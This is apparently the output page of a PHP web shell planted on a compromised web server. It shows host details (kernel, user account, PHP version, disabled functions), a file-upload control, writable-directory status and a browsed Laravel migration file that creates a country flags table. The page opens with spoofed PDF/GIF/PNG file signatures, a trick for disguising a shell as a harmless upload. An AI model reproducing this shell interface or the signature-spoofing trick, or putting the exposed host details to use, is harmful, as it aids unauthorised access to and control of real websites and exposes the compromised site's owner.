%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/database/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/database/migrations/2022_09_02_151515_create_flags_table.php
<?php

use App\Models\Flag;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration {

    /**
     * Run the migrations.
     *
     * @return void
     */

    public function up()
    {
        if (!Schema::hasTable('flags')) {
            Schema::create('flags', function (Blueprint $table) {
                $table->id();
                $table->string('capital')->nullable();
                $table->string('code')->nullable();
                $table->string('continent')->nullable();
                $table->string('name')->nullable();
            });


            $url = public_path('country.json');
            $responses = file_get_contents($url);
            $responses = json_decode($responses);

            $values = [];

            foreach ($responses as $response) {

                $data = get_object_vars($response);

                $values[] = [
                    'capital' => $data['capital'] ?? '',
                    'code' => $data['code'],
                    'continent' => $data['continent'] ?? '',
                    'name' => $data['name'],
                ];

            }

            Flag::insert($values);
        }
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('flags');
    }

};

VaKeR 2022